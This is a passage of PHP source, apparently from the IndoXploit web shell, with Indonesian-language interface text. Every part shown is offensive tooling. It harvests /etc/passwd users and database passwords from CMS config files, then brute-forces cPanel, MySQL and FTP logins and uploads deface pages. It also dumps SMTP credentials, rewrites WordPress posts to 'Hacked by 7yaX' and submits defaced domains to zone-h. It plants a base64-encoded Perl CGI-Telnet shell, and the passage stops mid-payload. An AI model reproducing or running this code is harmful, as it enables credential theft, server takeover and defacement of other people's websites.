  1198.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1199.                 foreach($u[1] as $user_cp) {
  1200.                         if(is_dir("/home/$user_cp/public_html")) {
  1201.                             echo "$user_cp\n";
  1202.                     }
  1203.                 }
  1204.             }
  1205.         }
  1206.         echo "</textarea><br>
  1207.         PASS: <br>
  1208.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1209.         function cp_pass($dir) {
  1210.             $pass = "";
  1211.             $dira = scandir($dir);
  1212.             foreach($dira as $dirb) {
  1213.                 if(!is_file("$dir/$dirb")) continue;
  1214.                 $ambil = file_get_contents("$dir/$dirb");
  1215.                 if(preg_match("/WordPress/", $ambil)) {
  1216.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1217.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1218.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1219.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1220.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1221.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1222.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1223.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1224.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1225.                 } elseif(preg_match("/^[client]$/", $ambil)) {
  1226.                     preg_match("/password=(.*?)/", $ambil, $pass1);
  1227.                     if(preg_match('/"/', $pass1[1])) {
  1228.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1229.                         $pass .= $pass1[1]."\n";
  1230.                     } else {
  1231.                         $pass .= $pass1[1]."\n";
  1232.                     }
  1233.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1234.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1235.                 }
  1236.             }
  1237.             echo $pass;
  1238.         }
  1239.         $cp_pass = cp_pass($dir);
  1240.         echo $cp_pass;
  1241.         echo "</textarea><br>
  1242.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1243.         </form>
  1244.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1245.     }
  1246. } elseif($_GET['do'] == 'cpftp_auto') {
  1247.     if($_POST['crack']) {
  1248.         $usercp = explode("\r\n", $_POST['user_cp']);
  1249.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1250.         $i = 0;
  1251.         foreach($usercp as $ucp) {
  1252.             foreach($passcp as $pcp) {
  1253.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1254.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1255.                     } else {
  1256.                         $_SESSION[$ucp] = "1";
  1257.                         $_SESSION[$pcp] = "1";
  1258.                         if($ucp == '' || $pcp == '') {
  1259.                             //
  1260.                         } else {
  1261.                             echo "[+] username (<font color=#4c83af>$ucp</font>) password (<font color=#4c83af>$pcp</font>)<br>";
  1262.                             $ftp_conn = ftp_connect($ip);
  1263.                             $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  1264.                             if((!$ftp_login) || (!$ftp_conn)) {
  1265.                                 echo "[+] <font color=red>Login Gagal</font><br><br>";
  1266.                             } else {
  1267.                                 echo "[+] <font color=#4c83af>Login Sukses</font><br>";
  1268.                                 $fi = htmlspecialchars($_POST['file_deface']);
  1269.                                 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  1270.                                 if($deface) {
  1271.                                     $i++;
  1272.                                     echo "[+] <font color=#4c83af>Deface Sukses</font><br>";
  1273.                                     if(function_exists('posix_getpwuid')) {
  1274.                                         $domain_cp = file_get_contents("/etc/named.conf"); 
  1275.                                         if($domain_cp == '') {
  1276.                                             echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1277.                                         } else {
  1278.                                             preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1279.                                             foreach($domains_cp[1] as $dj) {
  1280.                                                 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1281.                                                 $user_cp_url = $user_cp_url['name'];
  1282.                                                 if($user_cp_url == $ucp) {
  1283.                                                     echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  1284.                                                     break;
  1285.                                                 }
  1286.                                             }
  1287.                                         }
  1288.                                     } else {
  1289.                                         echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1290.                                     }
  1291.                                 } else {
  1292.                                     echo "[-] <font color=red>Deface Gagal</font><br><br>";
  1293.                                 }
  1294.                             }
  1295.                             //echo "username (<font color=#4c83af>$ucp</font>) password (<font color=#4c83af>$pcp</font>)<br>";
  1296.                         }
  1297.                     }
  1298.                 }
  1299.             }
  1300.         }
  1301.         if($i == 0) {
  1302.         } else {
  1303.             echo "<br>sukses deface ".$i." Cpanel by <font color=#4c83af>IndoXploit.</font>";
  1304.         }
  1305.     } else {
  1306.         echo "<center>
  1307.         <form method='post'>
  1308.         Filename: <br>
  1309.         <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  1310.         Deface Page: <br>
  1311.         <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
  1312.         USER: <br>
  1313.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1314.         $_usercp = fopen("/etc/passwd","r");
  1315.         while($getu = fgets($_usercp)) {
  1316.             if($getu == '' || !$_usercp) {
  1317.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1318.             } else {
  1319.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1320.                 foreach($u[1] as $user_cp) {
  1321.                         if(is_dir("/home/$user_cp/public_html")) {
  1322.                             echo "$user_cp\n";
  1323.                     }
  1324.                 }
  1325.             }
  1326.         }
  1327.         echo "</textarea><br>
  1328.         PASS: <br>
  1329.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1330.         function cp_pass($dir) {
  1331.             $pass = "";
  1332.             $dira = scandir($dir);
  1333.             foreach($dira as $dirb) {
  1334.                 if(!is_file("$dir/$dirb")) continue;
  1335.                 $ambil = file_get_contents("$dir/$dirb");
  1336.                 if(preg_match("/WordPress/", $ambil)) {
  1337.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1338.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1339.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1340.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1341.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1342.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1343.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1344.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1345.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1346.                 } elseif(preg_match("/client/", $ambil)) {
  1347.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1348.                     if(preg_match('/"/', $pass1[1])) {
  1349.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1350.                         $pass .= $pass1[1]."\n";
  1351.                     }
  1352.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1353.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1354.                 }
  1355.             }
  1356.             echo $pass;
  1357.         }
  1358.         $cp_pass = cp_pass($dir);
  1359.         echo $cp_pass;
  1360.         echo "</textarea><br>
  1361.         <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  1362.         </form>
  1363.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1364.     }
  1365. } elseif($_GET['do'] == 'smtp') {
  1366.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1367.     function scj($dir) {
  1368.         $dira = scandir($dir);
  1369.         foreach($dira as $dirb) {
  1370.             if(!is_file("$dir/$dirb")) continue;
  1371.             $ambil = file_get_contents("$dir/$dirb");
  1372.             $ambil = str_replace("$", "", $ambil);
  1373.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1374.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1375.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1376.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1377.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1378.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1379.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1380.                 echo "SMTP Host: <font color=#4c83af>$smtp_host</font><br>";
  1381.                 echo "SMTP port: <font color=#4c83af>$smtp_port</font><br>";
  1382.                 echo "SMTP user: <font color=#4c83af>$smtp_user</font><br>";
  1383.                 echo "SMTP pass: <font color=#4c83af>$smtp_pass</font><br>";
  1384.                 echo "SMTP auth: <font color=#4c83af>$smtp_auth</font><br>";
  1385.                 echo "SMTP secure: <font color=#4c83af>$smtp_secure</font><br><br>";
  1386.             }
  1387.         }
  1388.     }
  1389.     $smpt_hunter = scj($dir);
  1390.     echo $smpt_hunter;
  1391. } elseif($_GET['do'] == 'auto_wp') {
  1392.     if($_POST['hajar']) {
  1393.         $title = htmlspecialchars($_POST['new_title']);
  1394.         $pn_title = str_replace(" ", "-", $title);
  1395.         if($_POST['cek_edit'] == "Y") {
  1396.             $script = $_POST['edit_content'];
  1397.         } else {
  1398.             $script = $title;
  1399.         }
  1400.         $conf = $_POST['config_dir'];
  1401.         $scan_conf = scandir($conf);
  1402.         foreach($scan_conf as $file_conf) {
  1403.             if(!is_file("$conf/$file_conf")) continue;
  1404.             $config = file_get_contents("$conf/$file_conf");
  1405.             if(preg_match("/WordPress/", $config)) {
  1406.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1407.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1408.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1409.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1410.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1411.                 $prefix = $dbprefix."posts";
  1412.                 $option = $dbprefix."options";
  1413.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1414.                 $db = mysql_select_db($dbname);
  1415.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1416.                 $result = mysql_fetch_array($q);
  1417.                 $id = $result[ID];
  1418.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1419.                 $result2 = mysql_fetch_array($q2);
  1420.                 $target = $result2[option_value];
  1421.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1422.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1423.                 echo "<div style='margin: 5px auto;'>";
  1424.                 if($target == '') {
  1425.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1426.                 } else {
  1427.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1428.                 }
  1429.                 if(!$update OR !$conn OR !$db) {
  1430.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1431.                 } else {
  1432.                     echo "<font color=#4c83af>sukses di ganti.</font><br>";
  1433.                 }
  1434.                 echo "</div>";
  1435.                 mysql_close($conn);
  1436.             }
  1437.         }
  1438.     } else {
  1439.         echo "<center>
  1440.         <h1>Auto Edit Title+Content WordPress</h1>
  1441.         <form method='post'>
  1442.         DIR Config: <br>
  1443.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1444.         Set Title: <br>
  1445.         <input type='text' name='new_title' value='Hacked by 7yaX' placeholder='New Title'><br><br>
  1446.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1447.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1448.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1449.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1450.         </form>
  1451.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1452.         ";
  1453.     }
  1454. } elseif($_GET['do'] == 'zoneh') {
  1455.     if($_POST['submit']) {
  1456.         $domain = explode("\r\n", $_POST['url']);
  1457.         $nick =  $_POST['nick'];
  1458.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1459.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1460.         function zoneh($url,$nick) {
  1461.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1462.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1463.                   curl_setopt($ch, CURLOPT_POST, true);
  1464.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1465.             return curl_exec($ch);
  1466.                   curl_close($ch);
  1467.         }
  1468.         foreach($domain as $url) {
  1469.             $zoneh = zoneh($url,$nick);
  1470.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1471.                 echo "$url -> <font color=#4c83af>OK</font><br>";
  1472.             } else {
  1473.                 echo "$url -> <font color=red>ERROR</font><br>";
  1474.             }
  1475.         }
  1476.     } else {
  1477.         echo "<center><form method='post'>
  1478.         <u>Defacer</u>: <br>
  1479.         <input type='text' name='nick' size='50' value='7yaX'><br>
  1480.         <u>Domains</u>: <br>
  1481.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1482.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1483.         </form>";
  1484.     }
  1485.     echo "</center>";
  1486. } elseif($_GET['do'] == 'cgi') {
  1487.     $cgi_dir = mkdir('7yaX_cgi', 0755);
  1488.         chdir('7yaX_cgi');
  1489.     $file_cgi = "cgi.7yaX";
  1490.         $memeg = ".htaccess";
  1491.     $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .7yaX \n AddHandler cgi-script .7yaX \n AddHandler cgi-script .7yaX";
  1492.     $htcgi = fopen(".htaccess", "w");
  1493.     $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJvd2xzcXVhZCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPmIzNzRrIENHSS1UZWxuZXQ8L3RpdGxlPg0KDQokSHRtbE1ldGFIZWFkZXINCg0KPC9oZWFkPg0KPHN0eWxlPg0KYm9keXsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCnRyIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICNmZjk5MDA7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjMkJBOEVDOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KDQp0YWJsZSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQoNCg0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KDQppbnB1dC5zdWJtaXQgew0KdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KY29sb3I6ICNGRkZGRkY7DQpib3JkZXItY29sb3I6ICMwMDk5MDA7DQp9DQoNCmNvZGUgew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6IHdoaWxlOw0KfQ0KDQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KDQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4